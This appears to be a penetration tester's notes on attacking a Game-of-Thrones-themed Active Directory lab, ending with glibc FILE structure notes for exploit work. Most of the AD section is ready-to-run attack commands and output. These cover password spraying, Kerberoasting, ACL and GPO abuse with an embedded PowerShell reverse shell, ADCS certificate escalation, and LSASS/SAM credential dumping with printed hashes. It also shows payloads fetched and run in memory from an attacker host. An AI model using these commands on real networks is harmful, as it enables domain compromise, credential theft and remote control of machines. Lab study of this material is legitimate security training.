SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\sansa.stark:sansa.stark STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\brandon.stark:brandon.stark STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\rickon.stark:rickon.stark STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [+] north.sevenkingdoms.local\hodor:hodor
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\jon.snow:jon.snow STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\samwell.tarly:samwell.tarly STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\jeor.mormont:jeor.mormont STATUS_LOGON_FAILURE
SMB         10.10.10.11     445    WINTERFELL       [-] north.sevenkingdoms.local\sql_svc:sql_svc STATUS_LOGON_FAILURE

Users Enumeration (Authenticated)

Impacket

$ GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying north.sevenkingdoms.local for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2024-01-09 17:07:16.678154  2024-01-09 18:07:02.533281
Guest                                                 <never>              <never>
vagrant                                               2024-01-09 13:25:06.835919  2024-01-09 18:35:26.103058
krbtgt                                                2024-01-09 17:24:15.284257  <never>
                                                      2024-01-09 17:34:17.918667  <never>
arya.stark                                            2024-01-09 17:43:40.414804  2024-01-10 09:53:55.608288
eddard.stark                                          2024-01-09 17:43:47.777170  2024-01-10 10:25:10.683311
catelyn.stark                                         2024-01-09 17:43:54.636543  <never>
robb.stark                                            2024-01-09 17:44:01.270374  2024-01-10 10:27:22.925009
sansa.stark                                           2024-01-09 17:44:07.239856  <never>
brandon.stark                                         2024-01-09 17:44:11.552905  2024-01-10 10:28:15.741418
rickon.stark                                          2024-01-09 17:44:17.006005  <never>
hodor                                                 2024-01-09 17:44:22.131007  <never>
jon.snow                                              2024-01-09 17:44:26.850581  <never>
samwell.tarly                                         2024-01-09 17:44:32.116183  2024-01-10 10:24:54.723185
jeor.mormont                                          2024-01-09 17:44:36.892611  <never>
sql_svc                                               2024-01-09 17:44:40.892597  2024-01-09 18:26:58.563838

LDAP

Cheatsheet

ldapsearch -H ldap://10.10.10.11 -D 'hodor@north.sevenkingdoms.local' -w 'hodor' -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguished' | awk -F "CN=" '{print $2}' | cut -d ',' -f1
ldapsearch -H ldap://10.10.10.10 -D 'hodor@north.sevenkingdoms.local' -w 'hodor' -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguished' | awk -F "CN=" '{print $2}' | cut -d ',' -f1

Using ldeep

ldeep ldap -u hodor -p hodor -d north.sevenkingdoms.local -s ldap://10.10.10.11 all north
ldeep ldap -u hodor -p hodor -d north.sevenkingdoms.local -s ldap://10.10.10.10 all sevenkingdoms
ldeep ldap -u hodor -p hodor -d north.sevenkingdoms.local -s ldap://10.10.10.12 all essos

Kerberoasting

GetUserSPNs.py -request -dc-ip 10.10.10.11 north.sevenkingdoms.local/hodor:hodor
hashcat krb.hashes /usr/share/wordlists/rockyou.txt

Share Enumeration (Authenticated)

nxc smb 10.10.10.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares

Bloodhound

C:\Users\jon.snow> .\SharpHound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
C:\Users\jon.snow> .\SharpHound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
C:\Users\jon.snow> .\SharpHound.exe -d essos.local -c all --zipfilename bh_essos.zip

ACL

bloodhound-python -u hodor@north.sevenkingdoms.local -p hodor -c all --zip --dns-tcp -ns 10.10.10.11 -d sevenkingdoms.local
bloodhound-python -u hodor@north.sevenkingdoms.local -p hodor -c all --zip --dns-tcp -ns 10.10.10.11 -d north.sevenkingdoms.local
bloodhound-python -u hodor@north.sevenkingdoms.local -p hodor -c all --zip --dns-tcp -ns 10.10.10.11 -d essos.local
  • when using kerberos authentication always remember to use FQDN

    # fails
    KRB5CCNAME=./tyron.lannister.ccache ldeep ldap -u tyron.lannister -k -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=tyron.lannister)'
    
    # success
    KRB5CCNAME=./tyron.lannister.ccache ldeep ldap -u tyron.lannister -k -d sevenkingdoms.local -s ldap://kingslanding.sevenkingdoms.local search '(sAMAccountName=tyron.lannister)'
    
  • certipy shadow credentials does not work with kerberos auth (?)

GenericWrite on User

  • Target Kerberoasting

    git clone https://github.com/ShutdownRepo/targetedKerberoast
    targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p jaime --request-user joffrey.baratheon --dc-ip 10.10.10.10
    
  • Shadow Credentials

    certipy shadow auto -u jaime.lannister@sevenkingdoms.local -p jaime -account 'joffrey.baratheon' -dc-ip 10.10.10.10
    
  • Logon Script

    ldeep ldap -u jaime.lannister -p 'jaime' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=joffrey.baratheon)' scriptpath
    
    • python script to modify scriptPath

      import ldap3
      dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
      user = "sevenkingdoms.local\\jaime.lannister"
      password = "jaime"
      server = ldap3.Server('kingslanding.sevenkingdoms.local')
      ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
      ldap_con.bind()
      ldap_con.modify(dn,{'scriptPath' : [(ldap3.MODIFY_REPLACE, '\\\\10.10.10.200\share\exploit.ps1')]})
      print(ldap_con.result)
      ldap_con.unbind()
      
    • python script to modify profilePath, then start responder to capture NetNTLM authentication when the user logs in

      import ldap3
      dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
      user = "sevenkingdoms.local\\jaime.lannister"
      password = "jaime"
      server = ldap3.Server('kingslanding.sevenkingdoms.local')
      ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
      ldap_con.bind()
      ldap_con.modify(dn,{'profilePath' : [(ldap3.MODIFY_REPLACE, '\\\\10.10.10.200\share')]})
      print(ldap_con.result)
      ldap_con.unbind()
      

WriteDacl

https://github.com/ThePorgs/impacket

dacledit-exegol.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion' -dc-ip 10.10.10.10
dacledit-exegol.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion' -dc-ip 10.10.10.10
dacledit-exegol.py -action 'restore' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion' -dc-ip 10.10.10.10 -file ./dacledit-20240128-210948.bak

AddSelf

ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=tyron.lannister)' distinguishedName | jq '.[].dn'
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=Small Council)' distinguishedName | jq '.[].dn'
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 add_to_group  "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"'

AddMember

ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=tyron.lannister)' distinguishedName | jq '.[].dn'
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=dragonstone)' distinguishedName | jq '.[].dn'
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 add_to_group  "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"

WriteOwner

  1. Change ownership of a group

    owneredit-exegol.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
    owneredit-exegol.py -action 'write' -new-owner 'tyron.lannister' -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
    
  2. As an owner of a group, we have WriteDacl permissions on the group

    dacledit-exegol.py -action 'write' -rights 'FullControl' -principal 'tyron.lannister' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -dc-ip 10.10.10.10
    
  3. do AddSelf

    ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=tyron.lannister)' distinguishedName | jq '.[].dn'
    ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 search '(sAMAccountName=kingsguard)' distinguishedName | jq '.[].dn'
    ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://10.10.10.10 add_to_group  "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=KingsGuard,OU=Crownlands,DC=sevenkingdoms,DC=local"
    

GenericAll on User

Same as GenericWrite

GenericAll on Computer

  1. Shadow Credentials to get the computer TGT and NT hash

    certipy shadow auto -u stannis.baratheon@sevenkingdoms.local -hashes ':d75b9fdf23c0d9a6549cff9ed6e489cd' -account 'kingslanding$' -dc-ip 10.10.10.10
    
  2. S4U2Self to obtain service ticket (administrator -> kingslanding$)

    KRB5CCNAME=./kingslanding.ccache getST-exegol.py -self -altservice 'cifs/kingslanding.sevenkingdoms.local' -impersonate administrator -k -no-pass -dc-ip 10.10.10.10 sevenkingdoms.local/'kingslanding$'
    

GPO Abuse

# gpo id obtained from bloodhound:
# Node Info -> Node Properties -> GPO File Path (\\NORTH.SEVENKINGDOMS.LOCAL\SYSVOL\NORTH.SEVENKINGDOMS.LOCAL\POLICIES\{53136A49-0492-4A3E-A45E-5D762E4CF8FF})
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "53136A49-0492-4A3E-A45E-5D762E4CF8FF"
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
    -gpo-id "53136A49-0492-4A3E-A45E-5D762E4CF8FF" \
    -f \
    -powershell \
    -command "\$c = New-Object System.Net.Sockets.TCPClient('10.10.10.200',443);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){    \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);    \$sb = (iex \$d 2>&1 | Out-String );    \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> ');    \$s.Write(\$sb,0,\$sb.Length);    \$s.Flush()};\$c.Close()" \
    -taskname "MyTask" -description "don't worry"

Read LAPS Password

# Although bloodhound points to 10.10.10.23 computer, the target argument is still the DC ip
nxc ldap 10.10.10.12 -u jorah.mormont -p 'H0nnor!' --module laps

ADCS

  • Target running ADCS: 10.10.10.23 (braavos.essos.local)
  • DC: 10.10.10.12 (meereen.essos.local)
  • Attacker listening on: 10.10.10.200

Tools

  • PKINIT Tools

    git clone https://github.com/dirkjanm/PKINITtools
    virtualenv -p python3 venv
    
    # choose either one
    pip install https://github.com/wbond/oscrypto/archive/d5f3437ed24257895ae1edd9e503cfb352e635a8.zip
    pip install 'oscrypto @ git+https://github.com/wbond/oscrypto.git'
    
    pip install minikerberos impacket
    
  • petitpotam

  • certipy

ntlmrelayx + petitpotam

# To obtain the DC computer account certificate in base64 format when petitpotam is run
ntlmrelayx -t http://10.10.10.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Trigger
petitpotam.py 10.10.10.200 meereen.essos.local

# Obtain TGT
gettgtpkinit.py -dc-ip 10.10.10.12 -pfx-base64 $(cat cert.b64) 'essos.local'/'meereen$' 'meereen.ccache'

If gettgtpkinit returns this error, most probably time issue between DCs

minikerberos.protocol.errors.KerberosError:  Error Name: KDC_ERR_CLIENT_NOT_TRUSTED Detail: "The client trust failed or is not implemented"

certipy + petitpotam

# Certipy v4.8.2
# To obtain the DC computer account certificate in .pfx when petitpotam is run
certipy relay -target http://10.10.10.23/certsrv/certfnsh.asp -template DomainController
# or
certipy relay -ca ESSOS-CA -target http://10.10.10.23/certsrv/certfnsh.asp -template DomainController

petitpotam.py 10.10.10.200 meereen.essos.local

# Obtain TGT
certipy auth -pfx ./meereen.pfx -dc-ip 10.10.10.12
# or
certipy auth -pfx <(base64 -d cert.b64) -dc-ip 10.10.10.12

certipy enumeration

certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 10.10.10.12

certipy exploitation

ESC1

certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.12

ESC2

certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC2 -ca ESSOS-CA
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.12

ESC3

certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC3-CRA -ca ESSOS-CA
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.12
# or
certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 10.10.10.12

ESC4

Modifies ESC4 to be ESC1 with genericWrite privilege

certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -save-old

# same as ESC1
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn administrator@essos.local

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.12

certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -configuration ESC4.json

ESC6

Because ESSOS-CA is vulnerable to ESC6 we can do the ESC1 attack but with the user template instead of the ESC1 template even if the user template got Enrollee Supplies Subject set to false.

certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn administrator@essos.local

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.12

Shadow Credentials

  • requires GenericWrite on another user.
  • requires ADCS enabled on domain
  • requires write privilege on msDS-KeyCredentialLink
# khal.drogo ---[GenericAll]---> viserys.targaryen ---[GenericWrite]---> jorah.mormont
certipy shadow auto -u khal.drogo@essos.local -p 'horse' -account 'viserys.targaryen'
certipy shadow auto -u viserys.targaryen@essos.local -hashes 'd96a55df6bef5e0b4d6d956088036097' -account 'jorah.mormont'

Further Reading

Delegations

Kerberos Delegations

Lateral Movement

Credential Dumping

Remote

SAM, LSA, etc.

# jeor.mormont is local admin @ 10.10.10.22
secretsdump.py north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@10.10.10.22

LSASS

  • lsassy
$ lsassy -d north.sevenkingdoms.local -u jeor.mormont -p '_L0ngCl@w_' 10.10.10.22
[+] 10.10.10.22 Authentication successful
[+] 10.10.10.22 Lsass dumped in C:\Windows\Temp\935V.csv (48100838 Bytes)
[+] 10.10.10.22 Lsass dump deleted
[+] 10.10.10.22 NORTH\CASTELBLACK$                      [NT] 974fe3fdf3249bea19684addb0acbb22 | [SHA1] 7d7770677aadc5e5794dba80b389bcac0713455e
[+] 10.10.10.22 north.sevenkingdoms.local\CASTELBLACK$  [PWD] A+LNQ[1eREMJjuvoe;LaxSNeD4,9#o8kh;]IT\)3F%1-:KGZjQ2CN\7M%(@VnOq:As%-9.!Zz64RT=cqXmD;2cxl]"_mc\vjm?;2`VvPA\%NwAeA95Xk--[a
[+] 10.10.10.22 NORTH\robb.stark                        [NT] 831486ac7f26860c9e2f51ac91e1a07a | [SHA1] 3bea28f1c440eed7be7d423cefebb50322ed7b6c
[+] 10.10.10.22 NORTH\sql_svc                           [NT] 84a5092f53390ea48d660be52b93b804 | [SHA1] 9fd961155e28b1c6f9b3859f32f4779ad6a06404
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\sql_svc       [PWD] YouWillNotKerboroast1ngMeeeeee
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$  [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2024-01-17 16:13 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_1a8893f6.kirbi)
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\robb.stark    [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2024-01-17 16:16 (TGT_NORTH.SEVENKINGDOMS.LOCAL_robb.stark_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_d02dac29.kirbi)
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\robb.stark    [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2024-01-17 16:16 (TGT_NORTH.SEVENKINGDOMS.LOCAL_robb.stark_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_d7206564.kirbi)
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$  [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2024-01-17 16:13 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_ea0ce89c.kirbi)
[+] 10.10.10.22 NORTH.SEVENKINGDOMS.LOCAL\CASTELBLACK$  [TGT] Domain: NORTH.SEVENKINGDOMS.LOCAL - End time: 2024-01-17 16:13 (TGT_NORTH.SEVENKINGDOMS.LOCAL_CASTELBLACK$_krbtgt_NORTH.SEVENKINGDOMS.LOCAL_5ebf9286.kirbi)
[+] 10.10.10.22 13 Kerberos tickets written to /home/kali/.config/lsassy/tickets
[+] 10.10.10.22 7 masterkeys saved to /home/kali/.config/lsassy/masterkeys.txt
  • lsassy w/ dumpert module (sort of bypass AV)
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p '_L0ngCl@w_' 10.10.10.22 -m dumpertdll -O dumpertdll_path=/workspace/Outflank-Dumpert-DLL.dll

Local

SAM (Security Account Manager)

  • SAM database located at C:\Windows\System32\config\SAM and HKLM\SAM
  • SYSTEM (required for decrypting SAM ) located at C:\Windows\System32\config\SYSTEM and HKLM\SYSTEM
smbserver.py -smb2support share .
reg.py north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@10.10.10.22 save -keyName 'HKLM\SAM' -o '\\10.10.10.200\share'
reg.py north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@10.10.10.22 save -keyName 'HKLM\SYSTEM' -o '\\10.10.10.200\share'
secretsdump.py -sam SAM.save -system SYSTEM.save LOCAL

The NTLM hashes could be used to perform pass-the-hash to move laterally

LSA (Local Security Authority) Secrets & Cached Domain Logon

Stored at C:\Windows\System32\config\SECURITY and HKLM\SECURITY

smbserver.py -smb2support share .
reg.py north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@10.10.10.22 save -keyName 'HKLM\SECURITY' -o '\\10.10.10.200\share'
reg.py north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@10.10.10.22 save -keyName 'HKLM\SYSTEM' -o '\\10.10.10.200\share'
secretsdump.py -security SECURITY.save -system SYSTEM.save LOCAL

important

The cached domain logon hash DCC2 is harder to crack and not usable for pass-the-hash

LSASSY

  • by @icyguider
    • create dump file of lsass.exe via task manager (Details tab) through RDP (need GUI session), then transfer the .dmp file and parse with pypykatz
    • Out-Minidump from PowerSploit (only requires CLI session), then dump with pypykatz
      Get-Process lsass | Out-Minidump
      
    • https://github.com/slyd0g/C-Sharp-Out-Minidump C# parser
    • https://github.com/icyguider/DumpNParse

Mimikatz

  • Invoke-Mimikatz from nishang
  • SharpKatz
  • BetterSafetyKatz

Lateral Movement With Impacket

OPSEC Consideration

Over Pass-The-Hash

use NTLM hash to request TGT then use TGT to get interactive session

Certificate

certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local

Further Reading

PrivEsc

Did you know you didn't need to use a potatoes exploit to going from iis apppool account to admin or system ? Simply use:

powershell iwr http://attacker.ip -UseDefaultCredentials 

To get an HTTP coerce of the machine account. https://twitter.com/M4yFly/status/1745581076846690811?t=lntNso51gwxHZFPXGnSKpg&s=08

AMSI Bypass

winPEAS in Memory

$data=(New-Object System.Net.WebClient).DownloadData('http://10.10.10.200:8000/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()

PowerSharpPack

iex(new-object net.webclient).downloadstring('http://10.10.10.200:8000/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -winPEAS

KrbRelay

  • RBCD (by @an0n_r0)

  • Relay to ADCS w/ web enrollment to request a certificate of template Machine (by @t0-n1)

    # braavos is the server hosting the ADCS
    .\CheckPort.exe
    $krbrelay = .\KrbRelay.exe -spn http/braavos.essos.local -port 10 -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -endpoint certsrv -adcs 'Machine'
    $certificate = $krbrelay[-1]
    echo $certificate
    # The base64 encoded output is usable on `Rubeus.exe`'s `/certificate:<base64>`
    Invoke-Rubeus "asktgt /user:BRAAVOS$ /certificate:$certificate /nowrap"
    
  • Shadowcred (by @icyguider)

    # meereen is the domain controller
    .\CheckPort.exe
    .\KrbRelay.exe -spn ldap/meereen.essos.local -port 10 -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred
    # follow the output to use Rubeus
    

Further Reading

Notes for pwn

Random links:

File Stream Oriented Programming (FSOP)

note

Some lines of code are hidden for brevity.

When hovering over the code block, press the eye button on the top right corner to toggle the hidden lines.

Built-in File Struct

struct _IO_FILE

https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/bits/types/struct_FILE.h#L49

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;

  /* The following fields only exist if `_IO_USE_OLD_IO_FILE` is not defined */
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

_IO_FILE field offsets

gef> ptype /ox struct _IO_FILE
/* offset      |    size */  type = struct _IO_FILE {
/* 0x0000      |  0x0004 */    int _flags;
/* XXX  4-byte hole      */
/* 0x0008      |  0x0008 */    char *_IO_read_ptr;
/* 0x0010      |  0x0008 */    char *_IO_read_end;
/* 0x0018      |  0x0008 */    char *_IO_read_base;
/* 0x0020      |  0x0008 */    char *_IO_write_base;
/* 0x0028      |  0x0008 */    char *_IO_write_ptr;
/* 0x0030      |  0x0008 */    char *_IO_write_end;
/* 0x0038      |  0x0008 */    char *_IO_buf_base;
/* 0x0040      |  0x0008 */    char *_IO_buf_end;
/* 0x0048      |  0x0008 */    char *_IO_save_base;
/* 0x0050      |  0x0008 */    char *_IO_backup_base;
/* 0x0058      |  0x0008 */    char *_IO_save_end;
/* 0x0060      |  0x0008 */    struct _IO_marker *_markers;
/* 0x0068      |  0x0008 */    struct _IO_FILE *_chain;
/* 0x0070      |  0x0004 */    int _fileno;
/* 0x0074      |  0x0004 */    int _flags2;
/* 0x0078      |  0x0008 */    __off_t _old_offset;
/* 0x0080      |  0x0002 */    unsigned short _cur_column;
/* 0x0082      |  0x0001 */    signed char _vtable_offset;
/* 0x0083      |  0x0001 */    char _shortbuf[1];
/* XXX  4-byte hole      */
/* 0x0088      |  0x0008 */    _IO_lock_t *_lock;
/* 0x0090      |  0x0008 */    __off64_t _offset;
/* 0x0098      |  0x0008 */    struct _IO_codecvt *_codecvt;
/* 0x00a0      |  0x0008 */    struct _IO_wide_data *_wide_data;
/* 0x00a8      |  0x0008 */    struct _IO_FILE *_freeres_list;
/* 0x00b0      |  0x0008 */    void *_freeres_buf;
/* 0x00b8      |  0x0008 */    size_t __pad5;
/* 0x00c0      |  0x0004 */    int _mode;
/* 0x00c4      |  0x0014 */    char _unused2[20];

                               /* total size (bytes):  216 */
                             }

_flags

https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libio.h#L66

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

struct _IO_FILE_plus

https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libioP.h#L325

typedef struct _IO_FILE FILE;

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

_IO_FILE_plus field offsets

gef> ptype /ox struct _IO_FILE_plus
/* offset      |    size */  type = struct _IO_FILE_plus {
/* 0x0000      |  0x00d8 */    FILE file;
/* 0x00d8      |  0x0008 */    const struct _IO_jump_t *vtable;

                               /* total size (bytes):  224 */
                             }

Usage on glibc stdio

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

struct _IO_jump_t

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

_IO_jump_t field offsets

gef> ptype /ox struct _IO_jump_t
/* offset      |    size */  type = struct _IO_jump_t {
/* 0x0000      |  0x0008 */    size_t __dummy;
/* 0x0008      |  0x0008 */    size_t __dummy2;
/* 0x0010      |  0x0008 */    _IO_finish_t __finish;
/* 0x0018      |  0x0008 */    _IO_overflow_t __overflow;
